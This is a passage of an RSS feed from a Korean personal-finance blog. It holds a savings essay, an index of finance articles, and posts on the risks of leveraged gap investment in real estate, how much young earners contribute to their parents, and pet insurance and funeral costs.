&lt;p data-ke-size=&quot;size16&quot;&gt;부업도 시도해봤다. 퇴근 후 글을 쓰거나, 주말엔 중고 거래를 하기도 했다. 그렇게 모은 돈은 작지만, 내 손으로 직접 벌어낸 성취감이 컸다. 어느새 통장 잔고가 1000만 원을 넘기고, 3000만 원을 향해 달릴 때쯤, &amp;lsquo;1억&amp;rsquo;이라는 목표가 더 이상 꿈만은 아니라는 걸 느낄 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 쉽지만은 않았다. 유혹은 언제나 있었다. 친구들의 소비, 사회생활에서의 지출 압박, 가끔 찾아오는 허무함. 하지만 그럴 때마다 초심을 떠올렸다. 왜 이 길을 택했는지, 나만의 시간을 만들기 위해 지금을 어떻게 살아야 하는지를 스스로에게 다시 묻곤 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시간은 흐르고, 어느덧 몇 년이 지났다. 여전히 나는 부자가 아니고, 가끔은 또 흔들리기도 하지만, 분명한 건 있다. 그때 시작하지 않았다면 지금의 나는 없었을 거라는 것. 결국 중요한 건 액수보다도 그 방향을 향해 한 걸음씩 나아간다는 사실이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1억을 모으는 일은 거창한 계획보다 작은 결심에서 시작된다. 그리고 그 결심이 쌓여 어느 날, 나도 모르게 내 삶을 바꿔놓는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 그간의 경험이 이제막 사회로 첫 발을 내딛은 친구들에게 도움이 되길 바라며 아래와 같은 글을 공유하고자 한다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Ⅰ. 개인 재무 관리&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/405&quot;&gt;월급쟁이를 위한 예산 세우기 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/406&quot;&gt;20대 사회초년생의 첫 월급 사용 전략&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/407&quot;&gt;연말정산 미리 준비하는 3단계&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/410&quot;&gt;소비 습관 진단 체크리스트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/409&quot;&gt;가계부 앱 비교: 뱅크샐러드 vs 자비스 vs 토스&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/411&quot;&gt;통장 쪼개기 실전 방법&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/412&quot;&gt;비정기 지출 관리법&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/413&quot;&gt;맞벌이 부부 재정관리 핵심 팁&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/414&quot;&gt;급여 자동 이체로 만드는 저축 루틴&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/415&quot;&gt;결혼 자금, 얼마부터 어떻게 모아야 할까?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Ⅱ. 투자 입문자 대상&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/416&quot;&gt;예&amp;middot;적금과 ETF, 어디에 먼저 투자해야 할까?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/417&quot;&gt;주식 초보를 위한 계좌 개설부터 첫 매수까지&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/418&quot;&gt;채권이란 무엇인가? 안전자산의 오해와 진실&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/419&quot;&gt;REITs 투자 가이드: 부동산 소액 투자 시대&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/420&quot;&gt;배당주 투자로 월급 외 수익 만들기&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/421&quot;&gt;적립식 펀드, 장기 투자에 적합할까?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/422&quot;&gt;달러 투자: 환테크의 기본&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/423&quot;&gt;비트코인과 이더리움, 무엇이 다를까?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/424&quot;&gt;금 투자: 실물 vs 금 ETF 비교&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/425&quot;&gt;투자 손실 경험, 어떻게 극복해야 할까?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Ⅲ. 금융 상품 분석 &amp;amp; 비교&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/428&quot;&gt;청년도약계좌, 가입 조건과 혜택은?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/429&quot;&gt;신용카드 vs 체크카드, 소비 성향에 따라 달라지는 선택&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/430&quot;&gt;주택청약통장의 변화와 활용 전략&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/431&quot;&gt;보험 리모델링 체크리스트&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/432&quot;&gt;저축은행 정기예금 금리 비교&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/433&quot;&gt;CMA 계좌, 활용법과 추천 증권사 가이드&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/434&quot;&gt;중도상환수수료 없는 대출 상품&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/435&quot;&gt;전세보증보험이란? 세입자가 꼭 알아야 할 안전장치&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/436&quot;&gt;실손보험 청구, 어렵지 않게 끝내는 방법&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/437&quot;&gt;사회초년생을 위한 보험 우선순위&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Ⅳ. 디지털 금융 &amp;amp; 핀테크&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/443&quot;&gt;토스, 카카오뱅크, 핀크 비교 분석&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/444&quot;&gt;오픈뱅킹 시대의 금융 통합 관리법&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/445&quot;&gt;마이데이터 서비스, 똑똑한 금융생활의 시작&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/446&quot;&gt;P2P 투자, 원리와 리스크를 제대로 이해하기&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/447&quot;&gt;로보어드바이저, 인공지능에게 자산관리를 맡긴다는 것&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/451&quot;&gt;비대면 계좌개설, 금융사별 절차 비교&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/452&quot;&gt;스마트폰으로 해외송금, 어떤 앱이 더 편리하고 저렴할까&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/453&quot;&gt;AI가 추천해주는 신용카드, 믿어도 될까&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/454&quot;&gt;핀테크 스타트업 투자, 어디까지 알고 있어야 할까&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/455&quot;&gt;디지털 자산의 미래: 토큰화 자산과 CBDC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Ⅴ. 경제 흐름 &amp;amp; 시사&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/456&quot;&gt;기준금리 인상, 서민에게 미치는 영향&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/457&quot;&gt;소비자물가 상승률이 월급에 미치는 실질 영향&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/458&quot;&gt;2025년 하반기 부동산 시장, 어떻게 될까&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/459&quot;&gt;환율 급등기, 어떻게 대응해야 하나요?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/460&quot;&gt;한국 vs 미국 금리차와 투자 전략&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/461&quot;&gt;경기 침체기에 필요한 개인 재정 전략&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/462&quot;&gt;세계 경제 흐름을 읽는 5가지 핵심 지표&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/463&quot;&gt;정부의 금융정책 변화, 실생활엔 어떤 영향이 있을까&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/464&quot;&gt;실업률 상승과 가계대출 위험, 무관하지 않습니다&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/465&quot;&gt;고금리 시대의 절세 전략, 이자보다 세금을 먼저 생각하세요&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Ⅵ. 특수 상황별 금융 전략&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/466&quot;&gt;퇴사 후 실업급여와 긴급자금 관리법&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/467&quot;&gt;육아휴직 중 재무계획, 어떻게 세워야 할까&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/468&quot;&gt;자영업자의 재무 관리, 어디서부터 시작해야 할까&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/469&quot;&gt;프리랜서를 위한 세금과 저축 전략&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/470&quot;&gt;1인 가구를 위한 금융상품 추천&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/471&quot;&gt;은퇴 준비, 언제부터 어떻게 시작해야 할까&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/472&quot;&gt;직장인 해외이주를 위한 환전&amp;middot;금융 전략&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/473&quot;&gt;반려동물을 위한 보험과 장례 비용 계획&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/474&quot;&gt;사회초년생과 부모님 세대간 금전 분담&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eyecandyzero.tistory.com/475&quot;&gt;갭투자 실패 사례로 배우는 재무 리스크 관리&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/476</guid>
      <comments>https://eyecandyzero.tistory.com/476#entry476comment</comments>
      <pubDate>Mon, 2 Jun 2025 09:37:48 +0900</pubDate>
    </item>
    <item>
      <title>갭투자 실패 사례로 배우는 재무 리스크 관리</title>
      <link>https://eyecandyzero.tistory.com/475</link>
      <description>&lt;h3&gt;&lt;strong&gt;수익률보다 리스크를 먼저 따져야 하는 이유, 실패에서 배울 수 있습니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;부동산 투자에 있어 ‘갭투자’는 적은 자본으로 큰 수익을 기대할 수 있는 방식으로 알려졌습니다.&lt;br&gt;하지만 집값 하락과 전세가율 변화, 금리 상승 등 복합적인 변수가 생기면서 &lt;strong&gt;갭투자 실패 사례가 늘어나고 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이번 글에서는 대표적인 갭투자 실패 유형과 그로 인해 생기는 재무 리스크를 살펴보고,&lt;br&gt;&lt;strong&gt;개인 투자자가 유념해야 할 리스크 관리 원칙&lt;/strong&gt;을 정리해보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 갭투자가 무엇인가요?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;집값(매매가) - 전세보증금 = 실제 투자금&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;적은 자본으로 여러 채를 살 수 있지만, &lt;strong&gt;전세가율·시장 흐름에 따라 리스크가 커짐&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;예: 3억 원 아파트 / 전세 2.5억 원 → 실제 투자금 5,000만 원으로 매입&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 실패 사례로 보는 주요 리스크&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;집값 하락 + 전세가율 하락&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;매도 시 손해 + 세입자 보증금 반환 압박&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;세입자 미입주 → 공실 발생&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;전세 계약이 안 되면 이자 부담만 지속&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;금리 상승으로 이자 부담 증가&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;월 수백만 원 이자 발생 → 투자금 회수 이전에 현금 흐름 마이너스&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;갭투자 다주택 → 종합부동산세·보유세 급증&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;세금 부담으로 투자 채산성 악화&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 리스크 관리를 위해 반드시 따져야 할 조건들&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;전세가율 80% 이상 구간만 투자 대상 고려&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;전세 수요가 꾸준한 지역인지 확인 (예: 대학가, 직주근접)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;이자 감당 가능한 수준인지 시뮬레이션 필수&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;매도 시점에 대한 전략적 계획 확보&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 실수 방지를 위한 마인드셋과 전략&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;레버리지 과도하게 사용하지 않기&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;‘남들도 한다’는 심리에서 벗어나기&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;수익률보다 손실 시 시나리오 먼저 계산하기&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자산 분산 원칙 유지 (부동산 비중 과도하게 높이지 않기)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 수익보다 중요한 건, 감당 가능한 손실의 범위입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;갭투자는 한때 수익률이 좋은 전략이었지만,&lt;br&gt;시장이 변하면 &lt;strong&gt;가장 먼저 타격을 입는 구조&lt;/strong&gt;이기도 합니다.&lt;/p&gt;
&lt;p&gt;지금은 &lt;strong&gt;기회보다 리스크가 먼저 보이는 시기&lt;/strong&gt;입니다.&lt;br&gt;투자의 본질은 돈을 버는 것이 아니라, &lt;strong&gt;잃지 않는 것부터 시작한다는 점을 기억해야 합니다.&lt;/strong&gt;&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/475</guid>
      <comments>https://eyecandyzero.tistory.com/475#entry475comment</comments>
      <pubDate>Mon, 2 Jun 2025 08:07:52 +0900</pubDate>
    </item>
    <item>
      <title>사회초년생과 부모님 세대 간 금전 분담, 어디까지가 적절할까</title>
      <link>https://eyecandyzero.tistory.com/474</link>
      <description>&lt;h3&gt;&lt;strong&gt;도움과 의무 사이에서, 균형을 찾는 것이 중요합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;첫 직장을 얻고 나면 기대보다 먼저 마주하는 현실이 있습니다.&lt;br&gt;바로 &lt;strong&gt;가족 간의 돈 문제&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;월급이 생겼다고 가족 식사나 공과금 분담을 요청받을 때,&lt;br&gt;혹은 부모님의 대출 보증 요청이나 생활비 지원 요구가 생길 때,&lt;br&gt;&lt;strong&gt;도와야 하는 걸까? 어디까지가 적절한 걸까?&lt;/strong&gt; 고민이 시작됩니다.&lt;/p&gt;
&lt;p&gt;이번 글에서는 &lt;strong&gt;사회초년생과 부모님 세대 간 금전 분담의 기준과 현실적인 조율 방법&lt;/strong&gt;에 대해 이야기해보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 사회초년생이 흔히 마주하는 금전 분담 상황&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;집 생활비 분담 요청&lt;/strong&gt;: 공과금, 식비, 교통비 일부 부담&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;부모님 보험료·대출 상환 지원&lt;/strong&gt; 요청&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;형제자매 교육비, 용돈 지원&lt;/strong&gt; 요구&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;주택 자금·자동차 구입 보증 요청&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;→ 대부분 ‘가족이니까’라는 이유로 부담을 느끼지만,&lt;br&gt;&lt;strong&gt;경제적 여력이 충분하지 않다면 장기적인 부담으로 이어질 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 분담의 기준은 ‘소득 대비 비율’로 정하는 것이 합리적입니다&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;월 소득의 10~15% 이내&lt;/strong&gt;로 가족 지원 금액을 설정하는 것이 바람직&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;정기적인 금액보다 한시적·목적성 지원이 부담이 적음&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;고정 지출을 먼저 확보한 후 남는 여유 자금으로 분담 설계&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 조심해야 할 경제적 경계선&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;신용카드 공동 명의 사용, 보증 서명은 신중히&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자녀 명의로 된 대출·금융상품은 향후 불이익 가능성 있음&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;감정에 휘둘려 저축·자기 생활 유지가 어렵다면 경고 신호&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;→ &lt;strong&gt;“가족이니까 당연히”는 위험할 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 현실적인 소통 방법과 조율 팁&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;예산표를 함께 보며 대화 시작&lt;/strong&gt;: 소득, 지출, 남는 돈을 투명하게 보여주기&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;도울 수 있는 범위 제시&lt;/strong&gt;: “이 금액까지는 가능해요”, “이 시기까지는 도울 수 있어요”&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;장기적 의무로 고정하지 않기&lt;/strong&gt;: 유연성 있는 분담 구조가 서로에게 부담이 적음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 가족이니까 가능한 만큼, 무너지지 않을 만큼만&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;사회초년생에게 금전 분담은 성숙함의 신호이자 동시에 &lt;strong&gt;경제적 독립의 첫 시험대&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;부모님의 희생에 대한 감사와 도움의 마음은 소중하지만,&lt;br&gt;그것이 &lt;strong&gt;나의 미래를 침식하는 구조가 되어서는 안 됩니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;금전 분담의 핵심은 &lt;strong&gt;정서적 연대와 경제적 현실 사이의 조율&lt;/strong&gt;에 있습니다.&lt;br&gt;&lt;strong&gt;상대도, 나도 무너지지 않도록 적절한 균형점을 찾는 것&lt;/strong&gt;, 그것이 현명한 시작입니다.&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/474</guid>
      <comments>https://eyecandyzero.tistory.com/474#entry474comment</comments>
      <pubDate>Mon, 2 Jun 2025 08:05:07 +0900</pubDate>
    </item>
    <item>
      <title>반려동물을 위한 보험과 장례 비용 계획</title>
      <link>https://eyecandyzero.tistory.com/473</link>
      <description>&lt;h3&gt;&lt;strong&gt;끝까지 책임지는 마음, 재정 준비로 이어져야 합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;반려동물은 이제 가족입니다.&lt;br&gt;하지만 아플 때 치료비를, 떠날 때 장례 비용을 준비하지 않는다면&lt;br&gt;&lt;strong&gt;마음뿐 아니라 경제적으로도 큰 부담&lt;/strong&gt;이 될 수 있습니다.&lt;/p&gt;
&lt;p&gt;이 글에서는 &lt;strong&gt;반려동물을 위한 보험과 장례 비용 준비 방법&lt;/strong&gt;을 구체적으로 살펴보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;1. 반려동물 의료비는 얼마나 들까요?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;진료비&lt;/strong&gt;: 기본 진찰 1~3만 원 / 응급 진료는 수십만 원 이상&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;치과/외과 수술&lt;/strong&gt;: 발치, 골절 수술 등은 수십~수백만 원 소요&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;만성질환 치료&lt;/strong&gt;: 당뇨, 피부병, 신장병 등은 &lt;strong&gt;장기 치료로 매월 수십만 원&lt;/strong&gt; 발생&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;→ 갑작스러운 의료비 부담을 줄이기 위해 &lt;strong&gt;펫보험 가입이 권장&lt;/strong&gt;됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;2. 펫보험, 어떻게 선택해야 할까?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;가입 가능 연령&lt;/strong&gt;: 대부분 생후 60일~만 8세 전후까지&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;보장 항목&lt;/strong&gt;: 질병/상해 진료비, 수술비, 입원비, 배상책임 등&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;자기부담금&lt;/strong&gt;: 일부 보험은 치료비의 30% 자부담 조건 포함&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;주요 상품 예시&lt;/strong&gt;:&lt;ul&gt;
&lt;li&gt;삼성화재 ‘애니펫’, 현대해상 ‘하이펫’, 메리츠화재 ‘펫퍼민트’ 등&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;팁:&lt;/strong&gt; 동물 등록번호가 있어야 가입 가능 / 질병 이력에 따라 거절될 수 있음&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;3. 장례 비용은 얼마나 들까요?&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;기본 화장 비용&lt;/strong&gt;: 15만 원~40만 원 수준 (무게에 따라 달라짐)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;개별 화장 + 유골함 포함&lt;/strong&gt;: 30만 원~70만 원&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;추모시설 납골당 안치&lt;/strong&gt;: 연간 관리비 별도 발생&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;→ 일부 지자체는 &lt;strong&gt;반려동물 장례비 일부 지원 사업&lt;/strong&gt; 운영 중 (사전 확인 필요)&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;4. 준비해두면 좋은 재정 전략&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;펫보험 + 비상자금 이중 구조 추천&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;가계부에 ‘반려동물 항목’ 따로 구분해 관리&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;노령기 대비 의료비 증가 감안해 적립식 준비&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;&lt;strong&gt;결론: 마음의 준비만큼, 비용의 준비도 중요합니다&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;가족을 떠나보낼 준비는 어렵습니다.&lt;br&gt;하지만 그 순간에 경제적 부담까지 겹친다면 &lt;strong&gt;슬픔은 더 무거워질 수 있습니다.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;반려동물과의 삶을 더욱 평온하게 보내기 위해,&lt;br&gt;&lt;strong&gt;펫보험과 장례 비용 준비는 ‘책임의 표현’이자 사랑의 연장선&lt;/strong&gt;이 될 수 있습니다.&lt;/p&gt;</description>
      <category>금융</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/473</guid>
      <comments>https://eyecandyzero.tistory.com/473#entry473comment</comments>
      <pubDate>Mon, 2 Jun 2025 08:01:45 +0900</pubDate>
    </item>
    <item>
      <title>직장인 해외이주를 위한 환전&amp;middot;금융 전략</title>
      <link>https://eyecandyzero.tistory.com/472</link>
